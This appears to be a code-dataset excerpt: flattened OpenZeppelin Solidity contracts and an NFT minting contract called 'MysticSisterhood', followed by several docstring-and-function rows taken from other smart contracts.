* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/Strings.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/MysticSisterhood.sol
pragma solidity ^0.8.0;
/**
* @title MysticSisterhood contract
*/
contract MysticSisterhood is Ownable, ERC721, PaymentSplitter {
uint256 public tokenPrice = 0.05 ether;
uint256 public totalSupply = 0;
uint256 public constant MAX_TOKENS = 7777;
uint public constant MAX_PURCHASE = 20;
bool public saleIsActive;
string private _baseTokenURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
constructor(string memory baseURI, address[] memory payees, uint256[] memory shares_)
ERC721("MysticSisterhood", "MYSTICSIS")
PaymentSplitter(payees, shares_){
_baseTokenURI = baseURI;
}
function reserveTokens(address to, uint numberOfTokens) public onlyOwner {
uint supply = totalSupply;
totalSupply += numberOfTokens;
require(totalSupply <= MAX_TOKENS, "e1"); // Reserve would exceed max supply of Tokens
for (uint i = 0; i < numberOfTokens; i++) {
_safeMint(to, supply + i);
}
}
function mint(uint256 numberOfTokens) external payable {
require(saleIsActive, "e2"); // Sale must be active to mint Tokens
require(numberOfTokens > 0 && numberOfTokens <= MAX_PURCHASE, "e3"); // must be greater than 0 and less than equal 20
uint256 supply = totalSupply;
totalSupply += numberOfTokens;
require(totalSupply <= MAX_TOKENS, "e4"); // Purchase would exceed max supply of Tokens
require(tokenPrice * numberOfTokens <= msg.value, "e5"); // Ether value sent is not correct
for (uint256 i; i < numberOfTokens; i++) {
_safeMint(msg.sender, supply + i);
}
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
/**
* @dev Set the base token URI
*/
function setBaseTokenURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
/**
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* Set price
*/
function setPrice(uint256 price) public onlyOwner {
tokenPrice = price;
}
function withdrawAll() public onlyOwner {
require(payable(owner()).send(address(this).balance));
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
proxyRegistryAddress = _proxyRegistryAddress;
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
if (operator == proxyRegistryAddress) {
return true;
}
return super.isApprovedForAll(_owner, operator);
}
}
|
Set the base token URI/
|
function setBaseTokenURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
| 549,192
|
./full_match/100/0x8f8c037b336090543589214A51787D64885Db560/sources/project_/contracts/Payments/PaymentsERC20.sol
|
(private) Transfers the specified amount of ERC20 in this contract's balanceOf[msg.sender] to msg.sender The checks that enough amount is available, and the computation of the final balance need to be done before calling this function. Follows standard Checks-Effects-Interactions pattern to protect against re-entrancy attacks./
|
function _withdrawAmount(uint256 amount, uint256 finalBalance) private {
require(amount > 0, "cannot withdraw zero amount");
_balanceOf[msg.sender] = finalBalance;
IERC20(_erc20).transfer(msg.sender, amount);
emit Withdraw(msg.sender, amount);
}
| 14,270,173
|
./full_match/4/0xeA61Ea57fB850C04Ff90636fB3CB6c2e4f54108a/sources/contracts/modules/tokenswap/TokenSwapModule.sol
|
Returns the TokenSwap struct associated with the metadata _metadata Unique ID that is generated throught the Prime Deals frontend return swap Token swap struct associated with the metadata/
|
function getTokenswapFromMetadata(bytes32 _metadata)
public
view
returns (TokenSwap memory swap)
{
return tokenSwaps[metadataToDealId[_metadata]];
}
| 12,301,739
|
./partial_match/4/0x6480e156865Bbb84Ba94d53dC09f667bdC2B371a/sources/Contract.sol
|
Есть ли активное голосование./
|
function isActiveBallotExist() public view isBallotExist returns(bool) {
if (ballots[ballots.length - 1].startTime < now && ballots[ballots.length - 1].endTime > now) {
return true;
}
return false;
}
| 8,508,807
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.